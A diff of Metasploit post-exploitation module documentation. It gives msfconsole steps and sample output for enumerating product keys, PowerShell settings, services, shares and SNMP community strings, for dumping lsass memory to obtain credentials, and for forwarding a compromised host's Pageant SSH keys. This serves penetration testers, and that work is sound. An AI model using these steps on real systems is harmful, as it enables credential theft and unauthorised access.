S-1-5-21-3113421791-4205713440-112141152-1000 TEST-PC\TEST
|
||||
|
||||
|
||||
[+] Results saved in: /root/.msf4/loot/20191213054456_default_192.168.1.10_host.users.activ_424278.txt
|
||||
[+] Results saved in: /root/.msf4/loot/20191213054456_default_192.168.1.10_host.users.activ_424278.txt
|
||||
|
||||
Recently Logged Users
|
||||
=====================
|
||||
Recently Logged Users
|
||||
=====================
|
||||
|
||||
SID Profile Path
|
||||
--- ------------
|
||||
S-1-5-18 %systemroot%\system32\config\systemprofile
|
||||
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
|
||||
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
|
||||
S-1-5-21-3113421791-4205713440-112141152-1000 C:\Users\TEST
|
||||
SID Profile Path
|
||||
--- ------------
|
||||
S-1-5-18 %systemroot%\system32\config\systemprofile
|
||||
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
|
||||
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
|
||||
S-1-5-21-3113421791-4205713440-112141152-1000 C:\Users\TEST
|
||||
|
||||
|
||||
[*] Post module execution completed
|
||||
```
|
||||
[+] Results saved in: /root/.msf4/loot/20191213054458_default_192.168.1.10_host.users.recen_365577.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will enumerate Microsoft product license keys.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session
|
||||
3. Do: `use post/windows/gather/enum_ms_product_keys`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 Professional SP1 (x64)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_ms_product_keys
|
||||
msf6 post(windows/gather/enum_ms_product_keys) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_ms_product_keys) > run
|
||||
|
||||
[*] Finding Microsoft product keys on TEST (192.168.200.190)
|
||||
|
||||
Keys
|
||||
====
|
||||
|
||||
Product Registered Owner Registered Organization License Key
|
||||
------- ---------------- ----------------------- -----------
|
||||
Windows 7 Professional Windows User N0TMY-K3Y55-N0TMY-K3Y55-N0TMY
|
||||
Windows 7 Professional Windows User N0TMY-K3Y55-N0TMY-K3Y55-N0TMY
|
||||
|
||||
|
||||
[+] Product keys stored in: /root/.msf4/loot/20220814092725_default_192.168.200.190_host.ms_keys_579592.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -0,0 +1,241 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will enumerate Microsoft PowerShell settings.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Get a session
|
||||
1. Do: `use post/windows/gather/enum_powershell_env`
|
||||
1. Do: `set SESSION <session id>`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 (6.1 Build 7601, Service Pack 1)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_powershell_env
|
||||
msf6 post(windows/gather/enum_powershell_env) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_powershell_env) > run
|
||||
|
||||
[*] Running module against test (192.168.200.158)
|
||||
[*] PowerShell is installed on this system.
|
||||
[*] Version: 2.0
|
||||
[*] Execution Policy: RemoteSigned
|
||||
[*] Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
||||
[*] No PowerShell Snap-Ins are installed
|
||||
[*] PowerShell Modules paths:
|
||||
[*] C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
|
||||
[*] C:\Program Files (x86)\Microsoft SQL Server\120\Tools\PowerShell\Modules\
|
||||
[*] C:\Program Files (x86)\AutoIt3\AutoItX
|
||||
[*] PowerShell Modules:
|
||||
[*] PSDiagnostics
|
||||
[*] TroubleshootingPack
|
||||
[*] SQLASCMDLETS
|
||||
[*] SQLPS
|
||||
[*] AutoItX.chm
|
||||
[*] AutoItX.psd1
|
||||
[*] AutoItX3.Assembly.dll
|
||||
[*] AutoItX3.Assembly.xml
|
||||
[*] AutoItX3.dll
|
||||
[*] AutoItX3.PowerShell.dll
|
||||
[*] AutoItX3_DLL.h
|
||||
[*] AutoItX3_DLL.lib
|
||||
[*] AutoItX3_x64.dll
|
||||
[*] AutoItX3_x64_DLL.lib
|
||||
[*] Examples
|
||||
[*] Checking if users have PowerShell profiles
|
||||
[*] Running with elevated privileges. Extracting user list ...
|
||||
[*] Checking asdf
|
||||
[*] Checking DefaultAppPool
|
||||
[*] Checking MSSQL$SQLEXPRESS
|
||||
[*] Checking MSSQLSERVER
|
||||
[*] Checking postgres
|
||||
[*] Checking test
|
||||
[*] Checking user
|
||||
[*] Found PowerShell profile 'C:\Users\user\Documents\WindowsPowerShell\profile.ps1' for user:
|
||||
Get-Host | Select-Object Version
|
||||
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
### Windows 11 Pro (10.0.22000 N/A Build 22000)
|
||||
|
||||
```
|
||||
|
||||
msf6 > use post/windows/gather/enum_powershell_env
|
||||
msf6 post(windows/gather/enum_powershell_env) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_powershell_env) > run
|
||||
|
||||
[*] Running module against WinDev2110Eval (192.168.200.140)
|
||||
[*] PowerShell is installed on this system.
|
||||
[*] Version: 2.0
|
||||
[*] Execution Policy: AllSigned
|
||||
[*] Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
||||
[*] PowerShell Snap-Ins:
|
||||
[*] Snap-In: WDeploySnapin3.0
|
||||
[*] (Default):
|
||||
[*] ApplicationBase: C:\Program
|
||||
[*] AssemblyName: Microsoft.Web.Deployment.PowerShell,
|
||||
[*] Description: This
|
||||
[*] ModuleName: Microsoft.Web.Deployment.PowerShell.dll
|
||||
[*] PowerShellVersion: 2.0
|
||||
[*] Vendor: Microsoft
|
||||
[*] Version: 9.0.0.0
|
||||
[*] PowerShell Modules paths:
|
||||
[*] C:\Users\User\Documents\WindowsPowerShell\Modules
|
||||
[*] C:\Program Files\WindowsPowerShell\Modules
|
||||
[*] C:\Windows\system32\WindowsPowerShell\v1.0\Modules
|
||||
[*] PowerShell Modules:
|
||||
[*] Azure
|
||||
[*] Azure.AnalysisServices
|
||||
[*] Azure.Storage
|
||||
[*] AzureRM
|
||||
[*] AzureRM.AnalysisServices
|
||||
[*] AzureRM.ApiManagement
|
||||
[*] AzureRM.ApplicationInsights
|
||||
[*] AzureRM.Automation
|
||||
[*] AzureRM.Backup
|
||||
[*] AzureRM.Batch
|
||||
[*] AzureRM.Billing
|
||||
[*] AzureRM.Cdn
|
||||
[*] AzureRM.CognitiveServices
|
||||
[*] AzureRM.Compute
|
||||
[*] AzureRM.Consumption
|
||||
[*] AzureRM.ContainerInstance
|
||||
[*] AzureRM.ContainerRegistry
|
||||
[*] AzureRM.DataFactories
|
||||
[*] AzureRM.DataFactoryV2
|
||||
[*] AzureRM.DataLakeAnalytics
|
||||
[*] AzureRM.DataLakeStore
|
||||
[*] AzureRM.DevTestLabs
|
||||
[*] AzureRM.Dns
|
||||
[*] AzureRM.EventGrid
|
||||
[*] AzureRM.EventHub
|
||||
[*] AzureRM.HDInsight
|
||||
[*] AzureRM.Insights
|
||||
[*] AzureRM.IotHub
|
||||
[*] AzureRM.KeyVault
|
||||
[*] AzureRM.LogicApp
|
||||
[*] AzureRM.MachineLearning
|
||||
[*] AzureRM.MachineLearningCompute
|
||||
[*] AzureRM.MarketplaceOrdering
|
||||
[*] AzureRM.Media
|
||||
[*] AzureRM.Network
|
||||
[*] AzureRM.NotificationHubs
|
||||
[*] AzureRM.OperationalInsights
|
||||
[*] AzureRM.PowerBIEmbedded
|
||||
[*] AzureRM.Profile
|
||||
[*] AzureRM.RecoveryServices
|
||||
[*] AzureRM.RecoveryServices.Backup
|
||||
[*] AzureRM.RecoveryServices.SiteRecovery
|
||||
[*] AzureRM.RedisCache
|
||||
[*] AzureRM.Relay
|
||||
[*] AzureRM.Resources
|
||||
[*] AzureRM.Scheduler
|
||||
[*] AzureRM.ServerManagement
|
||||
[*] AzureRM.ServiceBus
|
||||
[*] AzureRM.ServiceFabric
|
||||
[*] AzureRM.SiteRecovery
|
||||
[*] AzureRM.Sql
|
||||
[*] AzureRM.Storage
|
||||
[*] AzureRM.StreamAnalytics
|
||||
[*] AzureRM.Tags
|
||||
[*] AzureRM.TrafficManager
|
||||
[*] AzureRM.UsageAggregates
|
||||
[*] AzureRM.Websites
|
||||
[*] Microsoft.PowerShell.Operation.Validation
|
||||
[*] PackageManagement
|
||||
[*] Pester
|
||||
[*] PowerShellGet
|
||||
[*] PSReadline
|
||||
[*] AppBackgroundTask
|
||||
[*] AppLocker
|
||||
[*] AppvClient
|
||||
[*] Appx
|
||||
[*] AssignedAccess
|
||||
[*] BitLocker
|
||||
[*] BitsTransfer
|
||||
[*] BranchCache
|
||||
[*] CimCmdlets
|
||||
[*] ConfigCI
|
||||
[*] ConfigDefender
|
||||
[*] ConfigDefenderPerformance
|
||||
[*] Defender
|
||||
[*] DeliveryOptimization
|
||||
[*] DirectAccessClientComponents
|
||||
[*] Dism
|
||||
[*] DnsClient
|
||||
[*] EventTracingManagement
|
||||
[*] Get-NetView
|
||||
[*] HostNetworkingService
|
||||
[*] International
|
||||
[*] iSCSI
|
||||
[*] ISE
|
||||
[*] Kds
|
||||
[*] Microsoft.PowerShell.Archive
|
||||
[*] Microsoft.PowerShell.Diagnostics
|
||||
[*] Microsoft.PowerShell.Host
|
||||
[*] Microsoft.PowerShell.LocalAccounts
|
||||
[*] Microsoft.PowerShell.Management
|
||||
[*] Microsoft.PowerShell.ODataUtils
|
||||
[*] Microsoft.PowerShell.Security
|
||||
[*] Microsoft.PowerShell.Utility
|
||||
[*] Microsoft.Windows.Bcd.Cmdlets
|
||||
[*] Microsoft.WSMan.Management
|
||||
[*] MMAgent
|
||||
[*] MsDtc
|
||||
[*] NetAdapter
|
||||
[*] NetConnection
|
||||
[*] NetEventPacketCapture
|
||||
[*] NetLbfo
|
||||
[*] NetNat
|
||||
[*] NetQos
|
||||
[*] NetSecurity
|
||||
[*] NetSwitchTeam
|
||||
[*] NetTCPIP
|
||||
[*] NetworkConnectivityStatus
|
||||
[*] NetworkSwitchManager
|
||||
[*] NetworkTransition
|
||||
[*] PcsvDevice
|
||||
[*] PersistentMemory
|
||||
[*] PKI
|
||||
[*] PnpDevice
|
||||
[*] PrintManagement
|
||||
[*] ProcessMitigations
|
||||
[*] Provisioning
|
||||
[*] PSDesiredStateConfiguration
|
||||
[*] PSDiagnostics
|
||||
[*] PSScheduledJob
|
||||
[*] PSWorkflow
|
||||
[*] PSWorkflowUtility
|
||||
[*] ScheduledTasks
|
||||
[*] SecureBoot
|
||||
[*] SmbShare
|
||||
[*] SmbWitness
|
||||
[*] StartLayout
|
||||
[*] Storage
|
||||
[*] StorageBusCache
|
||||
[*] TLS
|
||||
[*] TroubleshootingPack
|
||||
[*] TrustedPlatformModule
|
||||
[*] UEV
|
||||
[*] VMDirectStorage
|
||||
[*] VpnClient
|
||||
[*] Wdac
|
||||
[*] Whea
|
||||
[*] WindowsDeveloperLicense
|
||||
[*] WindowsErrorReporting
|
||||
[*] WindowsSearch
|
||||
[*] WindowsUpdate
|
||||
[*] Checking if users have PowerShell profiles
|
||||
[*] Checking User
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will query the system for services and return the display name and
|
||||
configuration info for each returned service. You can also optionally
|
||||
filter the results by using query strings to match on specific
|
||||
credentials, paths, or start types and only return the results that match.
|
||||
These query operations are cumulative and if no query strings are specified,
|
||||
the module will just return all services. NOTE: If the script hangs,
|
||||
Windows Defender Firewall is most likely on and you did not migrate
|
||||
to a safe process (explorer.exe for example).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session
|
||||
3. Do: `use post/windows/gather/enum_services`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### CRED
|
||||
|
||||
String to search returned service credentials for.
|
||||
|
||||
### PATH
|
||||
|
||||
String to search returned service paths for.
|
||||
|
||||
### TYPE
|
||||
|
||||
Service startup types to display (`All`, `Auto`, `Manual`, `Disabled`) (default: `All`)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2008 SP1 (x64)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_services
|
||||
msf6 post(windows/gather/enum_services) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_services) > run
|
||||
|
||||
[*] Listing Service Info for matching services, please wait...
|
||||
[+] New service credential detected: AeLookupSvc is running as 'localSystem'
|
||||
[+] New service credential detected: ALG is running as 'NT AUTHORITY\LocalService'
|
||||
[+] New service credential detected: CryptSvc is running as 'NT Authority\NetworkService'
|
||||
[*] Found 114 Windows services matching filters
|
||||
|
||||
Services
|
||||
========
|
||||
|
||||
Name Credentials Command Startup
|
||||
---- ----------- ------- -------
|
||||
ALG NT AUTHORITY\LocalService Manual C:\Windows\System32\alg.exe
|
||||
AeLookupSvc localSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
|
||||
AppMgmt LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
|
||||
Appinfo LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
|
||||
AudioEndpointBuilder LocalSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
AudioSrv NT AUTHORITY\LocalService Manual C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
|
||||
BFE NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
|
||||
BITS LocalSystem Auto C:\Windows\System32\svchost.exe -k netsvcs
|
||||
Browser LocalSystem Disabled C:\Windows\System32\svchost.exe -k netsvcs
|
||||
COMSysApp LocalSystem Manual C:\Windows\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
|
||||
CertPropSvc LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
|
||||
CryptSvc NT Authority\NetworkService Auto C:\Windows\system32\svchost.exe -k NetworkService
|
||||
CscService LocalSystem Disabled C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
DFSR LocalSystem Auto C:\Windows\system32\DFSRs.exe
|
||||
DNS LocalSystem Auto C:\Windows\system32\dns.exe
|
||||
DPS NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork
|
||||
DcomLaunch LocalSystem Auto %SystemRoot%\system32\svchost.exe -k DcomLaunch
|
||||
Dfs LocalSystem Auto C:\Windows\system32\dfssvc.exe
|
||||
Dhcp NT Authority\LocalService Auto C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
|
||||
Dnscache NT AUTHORITY\NetworkService Auto C:\Windows\system32\svchost.exe -k NetworkService
|
||||
EapHost localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
|
||||
EventLog NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
|
||||
EventSystem NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k LocalService
|
||||
FCRegSvc NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
|
||||
FDResPub NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
|
||||
IKEEXT LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
|
||||
IPBusEnum LocalSystem Disabled C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
IsmServ LocalSystem Auto C:\Windows\System32\ismserv.exe
|
||||
KeyIso LocalSystem Manual C:\Windows\system32\lsass.exe
|
||||
KtmRm NT AUTHORITY\NetworkService Auto C:\Windows\System32\svchost.exe -k NetworkService
|
||||
LanmanServer LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
|
||||
LanmanWorkstation NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalService
|
||||
MMCSS LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
|
||||
MSDTC NT AUTHORITY\NetworkService Auto C:\Windows\System32\msdtc.exe
|
||||
MSiSCSI LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
|
||||
MpsSvc NT Authority\LocalService Auto C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
|
||||
Netlogon LocalSystem Auto C:\Windows\system32\lsass.exe
|
||||
Netman LocalSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
NlaSvc NT AUTHORITY\NetworkService Auto C:\Windows\System32\svchost.exe -k NetworkService
|
||||
NtFrs LocalSystem Auto C:\Windows\system32\ntfrs.exe
|
||||
PerfHost NT AUTHORITY\LocalService Manual C:\Windows\SysWow64\perfhost.exe
|
||||
PlugPlay LocalSystem Auto C:\Windows\system32\svchost.exe -k DcomLaunch
|
||||
PolicyAgent NT Authority\NetworkService Auto C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
|
||||
ProfSvc LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
|
||||
ProtectedStorage LocalSystem Manual C:\Windows\system32\lsass.exe
|
||||
RSoPProv LocalSystem Manual C:\Windows\system32\RSoPProv.exe
|
||||
RasAuto localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
|
||||
RasMan localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
|
||||
RemoteAccess localSystem Disabled C:\Windows\System32\svchost.exe -k netsvcs
|
||||
RemoteRegistry NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k regsvc
|
||||
RpcLocator NT AUTHORITY\NetworkService Manual C:\Windows\system32\locator.exe
|
||||
RpcSs NT AUTHORITY\NetworkService Auto %SystemRoot%\system32\svchost.exe -k rpcss
|
||||
SCPolicySvc LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
|
||||
SCardSvr NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
|
||||
SENS LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
|
||||
SLUINotify NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
|
||||
SNMP LocalSystem Auto C:\Windows\System32\snmp.exe
|
||||
SNMPTRAP NT AUTHORITY\LocalService Manual C:\Windows\System32\snmptrap.exe
|
||||
SSDPSRV NT AUTHORITY\LocalService Disabled C:\Windows\system32\svchost.exe -k LocalService
|
||||
SamSs LocalSystem Auto C:\Windows\system32\lsass.exe
|
||||
Schedule LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
|
||||
SessionEnv localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
|
||||
SharedAccess LocalSystem Disabled C:\Windows\System32\svchost.exe -k netsvcs
|
||||
ShellHWDetection LocalSystem Auto C:\Windows\System32\svchost.exe -k netsvcs
|
||||
Spooler LocalSystem Auto C:\Windows\System32\spoolsv.exe
|
||||
SstpSvc NT Authority\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
|
||||
SysMain LocalSystem Disabled C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
TBS NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalService
|
||||
THREADORDER NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
|
||||
TapiSrv NT AUTHORITY\NetworkService Manual C:\Windows\System32\svchost.exe -k tapisrv
|
||||
TermService NT Authority\NetworkService Auto C:\Windows\System32\svchost.exe -k NetworkService
|
||||
Themes LocalSystem Disabled C:\Windows\System32\svchost.exe -k netsvcs
|
||||
TrkWks LocalSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
TrustedInstaller localSystem Manual C:\Windows\servicing\TrustedInstaller.exe
|
||||
UI0Detect LocalSystem Manual C:\Windows\system32\UI0Detect.exe
|
||||
UmRdpService localSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
UxSms localSystem Auto C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
VSS LocalSystem Manual C:\Windows\system32\vssvc.exe
|
||||
W32Time NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k LocalService
|
||||
WPDBusEnum LocalSystem Manual C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
WcsPlugInService NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k wcssvc
|
||||
WdiServiceHost NT AUTHORITY\LocalService Manual C:\Windows\System32\svchost.exe -k wdisvc
|
||||
WdiSystemHost LocalSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
Wecsvc NT AUTHORITY\NetworkService Manual C:\Windows\system32\svchost.exe -k NetworkService
|
||||
WerSvc localSystem Auto C:\Windows\System32\svchost.exe -k WerSvcGroup
|
||||
WinHttpAutoProxySvc NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
|
||||
WinRM NT AUTHORITY\NetworkService Auto C:\Windows\System32\svchost.exe -k NetworkService
|
||||
Winmgmt localSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
|
||||
clr_optimization_v2.0.50727_32 LocalSystem Manual C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe
|
||||
clr_optimization_v2.0.50727_64 LocalSystem Manual C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe
|
||||
dot3svc localSystem Manual C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
fdPHost NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
|
||||
gpsvc LocalSystem Auto C:\Windows\system32\svchost.exe -k GPSvcGroup
|
||||
hidserv LocalSystem Manual C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
hkmsvc localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
|
||||
iphlpsvc LocalSystem Auto C:\Windows\System32\svchost.exe -k NetSvcs
|
||||
kdc LocalSystem Auto C:\Windows\System32\lsass.exe
|
||||
lltdsvc NT AUTHORITY\LocalService Manual C:\Windows\System32\svchost.exe -k LocalService
|
||||
lmhosts NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
|
||||
msiserver LocalSystem Manual C:\Windows\system32\msiexec /V
|
||||
napagent NT AUTHORITY\NetworkService Manual C:\Windows\System32\svchost.exe -k NetworkService
|
||||
netprofm NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalService
|
||||
nsi NT Authority\LocalService Auto C:\Windows\system32\svchost.exe -k LocalService
|
||||
pla NT AUTHORITY\LocalService Manual %SystemRoot%\System32\svchost.exe -k LocalServiceNoNetwork
|
||||
sacsvr LocalSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
|
||||
seclogon LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
|
||||
slsvc NT AUTHORITY\NetworkService Auto C:\Windows\system32\SLsvc.exe
|
||||
swprv LocalSystem Manual C:\Windows\System32\svchost.exe -k swprv
|
||||
upnphost NT AUTHORITY\LocalService Disabled C:\Windows\system32\svchost.exe -k LocalService
|
||||
vds LocalSystem Manual C:\Windows\System32\vds.exe
|
||||
wercplsupport localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
|
||||
wmiApSrv localSystem Manual C:\Windows\system32\wbem\WmiApSrv.exe
|
||||
wuauserv LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
|
||||
wudfsvc LocalSystem Manual C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
|
||||
|
||||
[+] Loot file stored in: /root/.msf4/loot/20220820231513_default_192.168.200.218_windows.services_350986.txt
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -0,0 +1,57 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will enumerate configured and recently used file shares.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session
|
||||
3. Do: `use post/windows/gather/enum_shares`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### CURRENT
|
||||
|
||||
Enumerate currently configured shares (default: `true`)
|
||||
|
||||
### RECENT
|
||||
|
||||
Enumerate recently mapped shares (default: `true`)
|
||||
|
||||
### ENTERED
|
||||
|
||||
Enumerate recently entered UNC Paths in the Run Dialog (default: `true`)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2008 (x64)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_shares
|
||||
msf6 post(windows/gather/enum_shares) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_shares) > run
|
||||
|
||||
[*] Running module against WIN-17B09RRRJTG (192.168.200.218)
|
||||
[*] The following shares were found:
|
||||
[*] Name: SYSVOL
|
||||
[*] Path: C:\Windows\SYSVOL\sysvol
|
||||
[*] Remark: Logon server share
|
||||
[*] Type: DISK
|
||||
[*]
|
||||
[*] Name: NETLOGON
|
||||
[*] Path: C:\Windows\SYSVOL\sysvol\corp.local\SCRIPTS
|
||||
[*] Remark: Logon server share
|
||||
[*] Type: DISK
|
||||
[*]
|
||||
[*] Recent mounts found:
|
||||
[*] \\127.0.0.1\C$
|
||||
[*]
|
||||
[*] Recent UNC paths entered in Run dialog found:
|
||||
[*] \\10.1.1.100\
|
||||
[*] \\127.0.0.1\C$
|
||||
[*]
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -0,0 +1,45 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will enumerate the SNMP service configuration.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a session
|
||||
3. Do: `use post/windows/gather/enum_snmp`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2008 (x64)
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_snmp
|
||||
msf6 post(windows/gather/enum_snmp) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_snmp) > run
|
||||
|
||||
[*] Running module against WIN-17B09RRRJTG (192.168.200.218)
|
||||
[*] Checking if SNMP service is installed
|
||||
[*] SNMP is installed!
|
||||
[*] Enumerating community strings
|
||||
[*]
|
||||
[*] Community Strings
|
||||
[*] =================
|
||||
[*]
|
||||
[*] Name Type
|
||||
[*] ---- ----
|
||||
[*] secret READ & WRITE
|
||||
[*] test READ ONLY
|
||||
[*]
|
||||
[*] Enumerating Permitted Managers for Community Strings
|
||||
[*] SNMP packets are accepted from any host
|
||||
[*] Enumerating Trap configuration
|
||||
[*] Community Name: test
|
||||
[*] Destination: 127.0.0.1
|
||||
[*] Destination: snmp.local
|
||||
[*] Post module execution completed
|
||||
```
|
||||
@@ -13,7 +13,7 @@ This module only works on a Meterpreter session on Windows.
|
||||
1. Get meterpreter session on a Windows host
|
||||
1. Do: `use post/windows/gather/memory_dump`
|
||||
1. Do: `set SESSION <session id>`
|
||||
1. Do: `set PID <process id>`
|
||||
1. Do: `set PID <process id>` or `set PROCESS_NAME <process name>`
|
||||
1. Do: `set DUMP_PATH <path on remote system>`
|
||||
1. Do: `set DUMP_TYPE <standard|full>`
|
||||
1. Do: `run`
|
||||
@@ -26,13 +26,19 @@ This module only works on a Meterpreter session on Windows.
|
||||
|
||||
The path that the memory dump will be temporarily stored at. This file is then
|
||||
downloaded and deleted at the end of the run. This file should be in a writable
|
||||
location, and should not already exist.
|
||||
location, and should not already exist. If not specified, the dump is written
|
||||
with a random filename in `%TEMP%`.
|
||||
|
||||
### PID
|
||||
|
||||
The ID of the process to dump. To find the PID, in your Meterpreter session,
|
||||
type `ps`. To find a process by name, type `ps | <process name>`.
|
||||
|
||||
### PROCESS_NAME
|
||||
|
||||
The name of the process(es) to dump. This will dump memory for all processes
|
||||
with this name.
|
||||
|
||||
### DUMP_TYPE
|
||||
|
||||
Two options are provided for creating a memory dump:
|
||||
@@ -55,7 +61,7 @@ significantly smaller than the Full option.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Dumping lsass**
|
||||
### Dumping lsass
|
||||
|
||||
Retrieving lsass (after getsystem)
|
||||
|
||||
@@ -126,5 +132,3 @@ SID : S-1-5-21-920577323-754201681-977916534-1001
|
||||
credman :
|
||||
cloudap :
|
||||
```
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,120 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module forwards SSH agent requests from a local socket to a remote Pageant instance.
|
||||
If a target Windows machine is compromised and is running Pageant, this will allow the
|
||||
attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
|
||||
tunneled through the meterpreter session. This could therefore be used to authenticate
|
||||
with a remote host using a private key which is loaded into a remote user's Pageant instance,
|
||||
without ever having knowledge of the private key itself.
|
||||
|
||||
Note that this requires the PageantJacker meterpreter extension, but this will be automatically
|
||||
loaded into the remote meterpreter session by this module if it is not already loaded.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a Meterpreter session
|
||||
3. Do: `use post/windows/manage/forward_pageant`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
